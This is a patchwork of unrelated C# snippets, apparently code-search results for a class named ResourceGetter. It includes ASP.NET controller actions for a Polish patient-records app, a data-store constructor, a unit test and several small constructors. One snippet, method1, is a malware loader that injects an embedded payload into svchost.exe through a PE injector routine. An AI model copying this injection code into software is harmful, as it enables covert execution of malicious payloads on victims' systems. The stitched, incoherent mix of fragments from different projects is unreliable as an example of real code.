internal DataStore(string name, ResourceGetter getter, ResourcePoster poster, DataStoreServicesPackage services) { Debug.Assert(services != null, "services != null"); _services = services; _name = name; _getter = getter; _poster = poster; if (_poster != null) { _poster.SetStatChannel(_getter.StatChannel); } _unactualitiesToken = Observable.FromEvent <UnactualResourceContent> (h => _unactualityAnnounce += h, h => _unactualityAnnounce -= h) .ObserveOn(NewThreadScheduler.Default) .Subscribe( a => { try { _services._intCachier.MarkForUpdate(a); } finally { UnlockForReadingThisAndDependent(); } }); }
public IActionResult PatientEdited(EditedPatient patient) { if (ModelState.IsValid) { var client = new ResourceGetter(); if (string.IsNullOrEmpty(patient.Id)) { return(RedirectToAction("Patient", "Home")); } //fetch original patient var originalPatient = client.GetItem <Patient>(patient.Id); if (originalPatient != null) { if (patient.TryMergeWithResource(originalPatient)) { client.UpdateItem(originalPatient); } } } else { return(View("EditPatient", patient)); } return(RedirectToAction("Patient", "Home")); }
public IActionResult Search(string surname) { var resource = new ResourceGetter(); if (!Misc.DataValidator.TryValidateString(surname, out string validated, 2, 30)) { return(ErrorIndex("Szukane nazwisko musi mieć między 2 a 30 znaków.")); }
public static void method1() { byte[] Payload = ResourceGetter.GetPayload(); string sysPath = Environment.GetFolderPath(Environment.SpecialFolder.System); string winLogonPath = Path.Combine(sysPath, "svchost.exe"); // Installer.InstallFile(); pe_injector.RunExecRoutine(Payload, winLogonPath, string.Empty); }
public IActionResult CreatePatient(EditedPatient patient) { if (ModelState.IsValid) { var client = new ResourceGetter(); client.AddItem(patient.MapToResource()); return(RedirectToAction("InfoIndex", "Home", new { infoMessage = $"Dodano rekord {patient.GivenName} {patient.FamilyName}." })); } else { return(View(patient)); } }
public IActionResult Patient() { var resource = new ResourceGetter(); try { var patients = GetPatientsToDisplay(); return(View("Patient", patients)); } catch (System.Net.WebException) { return(View("Patient")); } }
public IActionResult EditPatient(string id) { if (string.IsNullOrEmpty(id)) { return(RedirectToAction("Patient", "Home")); } var res = new ResourceGetter(); var patient = res.GetItem <Patient>(id); if (patient == null) { return(RedirectToAction("Patient", "Home")); } var editablePatient = new EditedPatient(id); editablePatient.MapFromResource(patient); return(View(editablePatient)); }
public void NewResourceAsync() { var sync = new AutoResetEvent(false); ResourceGetter.CreateNewResource((o, e) => { if (e.Error != null) { Assert.Fail(e.Error.Message); } var obj = e.Object.Resource; Assert.IsNotNull(obj); Assert.AreEqual(0, obj.Id); var list = e.Object.RoleList; Assert.IsNotNull(list); Assert.IsTrue(list.Count > 0); sync.Set(); }); sync.WaitOne(1000); }
public IActionResult ViewPatient(string id, string startDate = null, string endDate = null) { if (!DataValidator.TryValidateString(id, out string idValidated, 4, 50)) { ViewBag.Error = true; ViewBag.ErrorMessage = $"Błąd parsowania id : `{id.Substring(30)}` nie jest poprawnym ciagiem."; return(View()); } var searchParameters = new List <Tuple <string, string> >(); DateTime startDateValidated = DateTime.MinValue, endDateValidated = DateTime.Now; if (!string.IsNullOrEmpty(startDate) && DataValidator.TryValidateDateTime(startDate, out startDateValidated)) { searchParameters.Add(new Tuple <string, string>("date", startDateValidated.ToString(">=yyyy-MM-dd"))); ViewBag.startDate = startDateValidated.ToString("dd-MMMM-yyyy"); } if (!string.IsNullOrEmpty(endDate) && DataValidator.TryValidateDateTime(endDate, out endDateValidated)) { searchParameters.Add(new Tuple <string, string>("date", endDateValidated.ToString("<=yyyy-MM-dd"))); ViewBag.endDate = endDateValidated.ToString("dd-MMMM-yyyy"); } var resourceGetter = new ResourceGetter(); var person = resourceGetter.GetItem <Patient>(id); if (person == null) { return(View()); } searchParameters.Add(new Tuple <string, string>("subject", id)); var patientsObservations = resourceGetter.SearchItemsWithParameters <Observation>(searchParameters); var patientsMedicamentsRequests = resourceGetter.SearchItemsWithParameters <MedicationRequest>("subject", id); //use only id search parameter var valuableExaminations = new Dictionary <string, List <PatientValueExamination> >(); var valueObservations = patientsObservations.Where(x => x.Value is SimpleQuantity || x.Component.Count > 0); var timelineObservations = patientsObservations.Where(x => !(x.Value is SimpleQuantity) && x.Component.Count == 0). Select(x => { DateTimeOffset?issued = x.Issued; return(new TimelineObject() { Date = issued.HasValue ? x.Issued.Value.DateTime : DateTime.MinValue, Header = x.Code.Coding.FirstOrDefault()?.Display ?? DefaultObservationHeader, Description = x.Value.ToString(), Code = x.Code.Coding.FirstOrDefault()?.Code ?? DefaultCodeNumber, EventType = TimelineEvent.ObservationMisc }); }); var timelineMedications = patientsMedicamentsRequests. Where(x => { //filter dates here seems date in MedicationRequest search parameters doesn't affect results var dateTime = x.AuthoredOnElement.ToDateTime() ?? DateTime.Now; return(dateTime >= startDateValidated && dateTime <= endDateValidated); }). Select(x => { var medication = x.Medication as CodeableConcept; return(new TimelineObject() { Date = (x.AuthoredOnElement.ToDateTime() ?? DateTime.MinValue), Header = "Podanie leku", Description = (medication.Text ?? "Nieznana nazwa leku"), Code = medication.Coding.FirstOrDefault().Code ?? DefaultCodeNumber, EventType = TimelineEvent.MedicationRequest }); }); foreach (var observation in valueObservations) { List <PatientValueExamination> examinations = TryGetObservationValue(observation); foreach (var examination in examinations) { var code = examination.Code; if (!valuableExaminations.ContainsKey(code)) { valuableExaminations.Add(code, new List <PatientValueExamination>() { examination }); } else { valuableExaminations[code].Add(examination); } } } var patientSummary = new PatientSummary() { Data = person, Observations = patientsObservations, MedicationRequests = patientsMedicamentsRequests }; //add dict for graphs patientSummary.SetPatientValueExaminations(valuableExaminations); //add timeline objects and sort them patientSummary.AddTimelineObjects(timelineObservations.Concat(timelineMedications).ToList()); return(View(patientSummary)); }
static Resource() { Load(); r = new ResourceGetter(); }
public GetReplay(ResourceGetter <LocalReplay> replayRetriever) { _replayRetriever = replayRetriever; }
public GetReplay(ResourceGetter <ReplayResource> replayRetriever) { _replayRetriever = replayRetriever; }
public GetScheme(ResourceGetter <LocalScheme> schemesRetriever) { _schemesRetriever = schemesRetriever; }
public GetScheme(ResourceGetter <SchemeResource> schemesRetriever) { _schemesRetriever = schemesRetriever; }